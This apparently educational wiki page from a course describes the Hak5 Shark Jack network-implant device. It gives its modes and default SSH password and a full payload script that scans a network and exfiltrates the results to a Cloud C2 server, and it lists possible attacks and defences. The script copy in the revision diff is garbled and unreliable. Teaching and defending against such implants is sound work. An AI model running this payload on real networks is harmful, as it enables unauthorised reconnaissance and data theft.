Shark Jack: Introduction: Difference between revisions

From Elvis Wiki
(segmentation from hardware)
 
(overworked by Koch Armin for AKIT CSDC25BB)
 
(One intermediate revision by one other user not shown)
Line 1: Line 1:
== Operation ==
= Introduction =  
It provides 3 modes of operation: Off, Arming, and Attack. In attack mode, the Shark Jack will execute the payload.sh or payload.txt bash script from the /root/payload directory. In arming mode, the Shark Jack will be configured with a static IP address of 172.16.24.1 and will simply start an SSH server, without automatically executing any script. In this mode, a perpetrator may load and configure scripts, or retrieve output files placed in the loot directory from previous reconnaissance or attack operations. This can be done using the Linux command line utility “scp”. The status LED lights are configurable using appropriate syntax inside the payload script, provided by the Shark-Jack firmware.
The Shark Jack is a compact, Linux-based penetration testing device developed by Hak5, primarily designed for fast network reconnaissance and data exfiltration. Resembling a USB Ethernet adapter, it connects to a target network and runs payloads that can gather data, manipulate traffic, or exploit vulnerabilities. A lithium ion battery offers a running time of around 10-15 minutes. By default a predefined payload is installed. Seen in Example Payload.


== Example Usage ==
=Key Features=
The user prepares a payload script which performs basic network auditing. Here, the user obtains an IP address via DHCP. The DHCP flow is initiated using the "NETMODE DHCP\_CLIENT" directive provided by the Shark Jack framework. Once an address is assigned, grep and sed is used to perform text manipulation on the output of the "ip addr" command, in order to filter the subnet. This subnet is then passed as a argument to nmap. A simple nmap with the option "-sn" is performed. This means that port scans and other elaborate scans are skipped. It is a fast way to determine available hosts. Additionally, a traceroute to Google servers is used to gain further insight into the network topology. The outputs of nmap and traceroute are appended to a loot file:


* Size: 62 x 21 x 12mm
* RJ45 Fast Ethernet
* USB-C charging port
* 2.5W (USB 5V 0.5A)
* Batterie 3.7V 50mAh 0.2W LiPo
* 35°C-45°C operating temperature
* MT7628DAN microcontroller
* 64 MB DDR RAM | 64 MB SPI Flash
* OpenWRT 18.06-based GNU/Linux operating system
= Modes of Operation =
The Shark Jack provides three modes of operation: Attack, Arming and Off. These modes can be activated by pushing the red toggle switch on the side.
== Attack-Mode ==
This mode can be activated by pushing the red toggle switch in the RJ45 Ethernet Jack direction. In this mode, the device starts the bash script payload.sh or payload.txt from /root/payload after a short boot phase.
The results from this script - which in turn can execute further scripts - usually stored in a suitable folder in the /root/loot directory.
== Arming-Mode ==
The ARMING-Mode is located in the middle position of the toggle switch. In this mode, the Shark Jack will start up an SSH-Server. After assigning an IP-Address in the 172.16.24.0/24 subnet to your device, you should be able to establish an SSH-Connection by root@172.16.24.1 (default password: hak5shark). Via the connection it is possible to change or update the payload-script in /root/payload and exfiltrate the collected loot from /root/loot directory by using "scp".
== Off-Mode ==
By toggling the switch in the USB-C charging port direction, the device will turn off.
= Payloads =
The payloads for the Shark Jack are written in Bash with some sort of DuckyScript. This means you can fully use the usual CLI commands from Linux, as well as use certain commands to manage the LED or the connection to the Cloud C² by Hak5 and transmit data.
== Example Payload ==
The following payload is the predefined payload which comes with the Shark Jack out of the Box. Essentially, the device gets an IP address from a hopefully existing DHCP server and starts an NMAP scan.
It then saves the collected data under /root/loot/nmap and tries to transmit it to a Cloud C² by Hak5 - which can be configured via device.config in /etc. Otherwise you are still able to extract the data manually by using the ARMING-Mode. Special commands like "LED ATTACK", "NETMODE DHCP_CLIENT" and "C2CONNECT" are the already mentioned DuckyScript commands. More about them can be found in the documentation from Hak5 itself.


   #!/bin/bash
   #!/bin/bash
   #Using \ as pipe symbol because i dont know how to escape it in this wiki editor thingy
   # LED SETUP ... Obtaining IP address from DHCP
  # LED ATTACK ... Scanning
  # LED FINISH ... Scan Complete
  # LED SPECIAL ... Cloud C2 Exfiltration
  #
  # See nmap --help for options. Default "-sP" ping scans the address space for
  # fast host discovery with "-v" for more verbose
  C2PROVISION="/etc/device.config"
  NMAP_OPTIONS="-sP -v --host-timeout 30s --max-retries 3"
  LOOT_DIR=/root/loot/nmap
  # Setup loot directory, DHCP client, and determine subnet
  LED SETUP
  SERIAL_WRITE [*] Setting up Nmap Payload
  mkdir -p $LOOT_DIR
  COUNT=$(($(ls -l $LOOT_DIR/*.txt | wc -l)+1))
  NETMODE DHCP_CLIENT
  while [ -z "$SUBNET" ]; do
  sleep 1 && SUBNET=$(ip addr | grep -i eth0 | grep -i inet | grep -E -o "([0-9]{1,3}[\.]){3}[0-9]{1,3}[\/]{1}[0-9]{1,2}" | sed 's/\.[0-9]*\//\.0\//')
  done
  # Scan network
  LED ATTACK
  nmap $NMAP_OPTIONS $SUBNET -oN $LOOT_DIR/nmap-scan_$COUNT.txt
  SERIAL_WRITE [*] Setting up IP Payload
  PUBLIC_IP_URL="http://ipinfo.io/ip"
  function FAIL() { LED FAIL; SERIAL_WRITE [!] Failed to obtain IP address;exit; }
   LED SETUP
   LED SETUP
   NMAP_OPTIONS="-sn" LOOT_DIR=/root/loot/net
   # Make log file
  mkdir -p $LOOT_DIR
   LOG_FILE="ipinfo_$(find $LOOT_DIR -type f | wc -l).txt"
  echo "Obtain IP address..." >> SLOOT_DIR/log.txt
   LOG="$LOOT_DIR/$LOG_FILE"
   NETMODE DHCP_CLIENT
  while [ -z "$SUBNET" 1; do
  sleep 1 && SUBNET=$(ip addr \ grep -i eth0 \ grep -i inet \ grep -E -o" ( [0-91{1,3}[\. 1) {3710-91{1,33\/1{1}[0-91{1,23" \ sed 's/\.[0
   9]*\//\.01 //')
  done
  echo "Obtained IP address in subnet: $SUBNET" >> $LOOT_DIR/log.txt
   LED ATTACK
   LED ATTACK
   echo "Starting nmap with options §NMAP_OPTIONS" >> $LOOT_DIR/log.txt
   # Gather IP info and save log
   nmap SNMAP_OPTIONS $SUBNET -ON SLOOT_DIR/net-scan.txt echo "Starting traceroute >> SLOOT_DIR/log.txt
  INTERNALIP=$(ifconfig eth0 | grep "inet addr" | awk {'print $2'} | awk -F: {'print $2'})
   traceroute 8.8.8.8 > SLOOT_DIR/net-scan.txt
  GATEWAY=$(route | grep default | awk {'print $2'})
   echo "Done" >> $LOOT_DIR/log.txt
   PUBLICIP=$(wget --timeout=30 $PUBLIC_IP_URL -qO -) || FAIL
   echo "Inspect loot under SLOOT_DIR/net-scan.txt" >>
  echo -e "Date: $(date)\n\
   $LOOT_DIR/log.txt
  Internal IP Address: $INTERNALIP\n\
   Public IP Address: $PUBLICIP\n\
   Gateway: $GATEWAY\n" >> $LOG
  SERIAL_WRITE [*] Internal IP: $INTERNALIP
  SERIAL_WRITE [*] Public IP: $PUBLICIP
  SERIAL_WRITE [*] Gateway: $GATEWAY
  # Exfiltrate Loot to Cloud C2
   if [ [ -f "$C2PROVISION" ] ]; then
  LED SPECIAL
  # Connect to Cloud C2
  C2CONNECT
  # Wait until Cloud C2 connection is established
  while ! pgrep cc-client; do sleep 1; done
  # Exfiltrate all test loot files
  FILES="$LOOT_DIR/*.txt"
   for f in $FILES; do C2EXFIL STRING $f Nmap-C2-Payload; done
  else
  # Exit script if not provisioned for C2
  LED R SOLID
  exit 1
  fi
   LED FINISH
   LED FINISH
  sleep 2 && halt"


The user then puts the Shark Jack into arming mode and plugs the device into the Ethernet port of their machine. The user loads the prepared script onto the Shark Jack using scp. The Shark Jack is unplugged and switched into attack mode. It is ready to be deployed onto a target network. Once execution is done, the loot can be retrieved via arming mode.
= Possible Attacks =
After utilities such as Python, arping, nmap etc. are pre-installed on the Shark Jack and can be expanded via an OpenWRT repository, the following attacks are now possible:


== Defense ==
* Network scanning and vulnerability assessment
* Man-in-the-Middle-Attacks (MITM)
* DNS-Spoofing
* Credential Harvesting
* Denial-of-Service Attacks (DoS)
* Unauthorized Access into a Network via a remote SSH-Tunnel connection.


- Make sure physical access to infrastructure is only possible for authorized personnel (lock doors to server rooms and server cabinets)


- Disable unused ports
= Defense =


- Physically inspect routers and switches on a regular basis
* deactivation of unused ports: All unnecessary Ethernet ports on switches should be switched off.
* assigning a Dead VLAN to ports, which cannot be deactivated
* 802.1x-Authentification: Through port security mechanisms or 802.1x authentication can only authorized devices gain access to the network.
* MAC-Filtering and DHCP hardening: The DHCP server can be configured to only use registered MAC addresses receive an IP address. Alternatively, DHCP can be disabled, which however is more difficult to implement in larger networks.
* physical security / access control
* usage of an Instrusion Detection System (IDS)


- Network segmentation, subnets, to reduce attack surface


- Monitor network for suspicious traffic
== Used Hardware ==
[[Shark Jack]]


== References ==
== References ==


https://docs.hak5.org/shark-jack/getting-started/shark-jack-basics
https://docs.hak5.org/shark-jack


https://github.com/hak5/sharkjack-payloads
https://github.com/hak5/sharkjack-payloads

Latest revision as of 16:15, 16 December 2024

Introduction

The Shark Jack is a compact, Linux-based penetration testing device developed by Hak5, primarily designed for fast network reconnaissance and data exfiltration. Resembling a USB Ethernet adapter, it connects to a target network and runs payloads that can gather data, manipulate traffic, or exploit vulnerabilities. A lithium ion battery offers a running time of around 10-15 minutes. By default a predefined payload is installed. Seen in Example Payload.

Key Features

  • Size: 62 x 21 x 12mm
  • RJ45 Fast Ethernet
  • USB-C charging port
  • 2.5W (USB 5V 0.5A)
  • Batterie 3.7V 50mAh 0.2W LiPo
  • 35°C-45°C operating temperature
  • MT7628DAN microcontroller
  • 64 MB DDR RAM | 64 MB SPI Flash
  • OpenWRT 18.06-based GNU/Linux operating system


Modes of Operation

The Shark Jack provides three modes of operation: Attack, Arming and Off. These modes can be activated by pushing the red toggle switch on the side.

Attack-Mode

This mode can be activated by pushing the red toggle switch in the RJ45 Ethernet Jack direction. In this mode, the device starts the bash script payload.sh or payload.txt from /root/payload after a short boot phase. The results from this script - which in turn can execute further scripts - usually stored in a suitable folder in the /root/loot directory.

Arming-Mode

The ARMING-Mode is located in the middle position of the toggle switch. In this mode, the Shark Jack will start up an SSH-Server. After assigning an IP-Address in the 172.16.24.0/24 subnet to your device, you should be able to establish an SSH-Connection by root@172.16.24.1 (default password: hak5shark). Via the connection it is possible to change or update the payload-script in /root/payload and exfiltrate the collected loot from /root/loot directory by using "scp".

Off-Mode

By toggling the switch in the USB-C charging port direction, the device will turn off.

Payloads

The payloads for the Shark Jack are written in Bash with some sort of DuckyScript. This means you can fully use the usual CLI commands from Linux, as well as use certain commands to manage the LED or the connection to the Cloud C² by Hak5 and transmit data.

Example Payload

The following payload is the predefined payload which comes with the Shark Jack out of the Box. Essentially, the device gets an IP address from a hopefully existing DHCP server and starts an NMAP scan. It then saves the collected data under /root/loot/nmap and tries to transmit it to a Cloud C² by Hak5 - which can be configured via device.config in /etc. Otherwise you are still able to extract the data manually by using the ARMING-Mode. Special commands like "LED ATTACK", "NETMODE DHCP_CLIENT" and "C2CONNECT" are the already mentioned DuckyScript commands. More about them can be found in the documentation from Hak5 itself. 

 #!/bin/bash
 # LED SETUP ... Obtaining IP address from DHCP
 # LED ATTACK ... Scanning
 # LED FINISH ... Scan Complete
 # LED SPECIAL ... Cloud C2 Exfiltration
 #
 # See nmap --help for options. Default "-sP" ping scans the address space for
 # fast host discovery with "-v" for more verbose
 C2PROVISION="/etc/device.config"
 NMAP_OPTIONS="-sP -v --host-timeout 30s --max-retries 3"
 LOOT_DIR=/root/loot/nmap
 # Setup loot directory, DHCP client, and determine subnet
 LED SETUP 
 SERIAL_WRITE [*] Setting up Nmap Payload
 mkdir -p $LOOT_DIR 
 COUNT=$(($(ls -l $LOOT_DIR/*.txt | wc -l)+1))
 NETMODE DHCP_CLIENT 
 while [ -z "$SUBNET" ]; do 
 sleep 1 && SUBNET=$(ip addr | grep -i eth0 | grep -i inet | grep -E -o "([0-9]{1,3}[\.]){3}[0-9]{1,3}[\/]{1}[0-9]{1,2}" | sed 's/\.[0-9]*\//\.0\//')
 done 
 # Scan network 
 LED ATTACK 
 nmap $NMAP_OPTIONS $SUBNET -oN $LOOT_DIR/nmap-scan_$COUNT.txt
 SERIAL_WRITE [*] Setting up IP Payload
 PUBLIC_IP_URL="http://ipinfo.io/ip"
 function FAIL() { LED FAIL; SERIAL_WRITE [!] Failed to obtain IP address;exit; }
 LED SETUP
 # Make log file
 LOG_FILE="ipinfo_$(find $LOOT_DIR -type f | wc -l).txt"
 LOG="$LOOT_DIR/$LOG_FILE"
 LED ATTACK
 # Gather IP info and save log
 INTERNALIP=$(ifconfig eth0 | grep "inet addr" | awk {'print $2'} | awk -F: {'print $2'})
 GATEWAY=$(route | grep default | awk {'print $2'})
 PUBLICIP=$(wget --timeout=30 $PUBLIC_IP_URL -qO -) || FAIL
 echo -e "Date: $(date)\n\
 Internal IP Address: $INTERNALIP\n\
 Public IP Address: $PUBLICIP\n\
 Gateway: $GATEWAY\n" >> $LOG
 SERIAL_WRITE [*] Internal IP: $INTERNALIP
 SERIAL_WRITE [*] Public IP: $PUBLICIP
 SERIAL_WRITE [*] Gateway: $GATEWAY
 # Exfiltrate Loot to Cloud C2
 if [ [ -f "$C2PROVISION" ] ]; then
 LED SPECIAL 
 # Connect to Cloud C2
 C2CONNECT
 # Wait until Cloud C2 connection is established
 while ! pgrep cc-client; do sleep 1; done
 # Exfiltrate all test loot files
 FILES="$LOOT_DIR/*.txt"
 for f in $FILES; do C2EXFIL STRING $f Nmap-C2-Payload; done
 else
 # Exit script if not provisioned for C2
 LED R SOLID
 exit 1
 fi
 LED FINISH

Possible Attacks

After utilities such as Python, arping, nmap etc. are pre-installed on the Shark Jack and can be expanded via an OpenWRT repository, the following attacks are now possible:

  • Network scanning and vulnerability assessment
  • Man-in-the-Middle-Attacks (MITM)
  • DNS-Spoofing
  • Credential Harvesting
  • Denial-of-Service Attacks (DoS)
  • Unauthorized Access into a Network via a remote SSH-Tunnel connection.


Defense

  • deactivation of unused ports: All unnecessary Ethernet ports on switches should be switched off.
  • assigning a Dead VLAN to ports, which cannot be deactivated
  • 802.1x-Authentification: Through port security mechanisms or 802.1x authentication can only authorized devices gain access to the network.
  • MAC-Filtering and DHCP hardening: The DHCP server can be configured to only use registered MAC addresses receive an IP address. Alternatively, DHCP can be disabled, which however is more difficult to implement in larger networks.
  • physical security / access control
  • usage of an Instrusion Detection System (IDS)


Used Hardware

Shark Jack

References

https://docs.hak5.org/shark-jack

https://github.com/hak5/sharkjack-payloads

Retrieved from "https://elvis.hcw.ac.at/wiki/index.php?title=Shark_Jack:_Introduction&oldid=17158"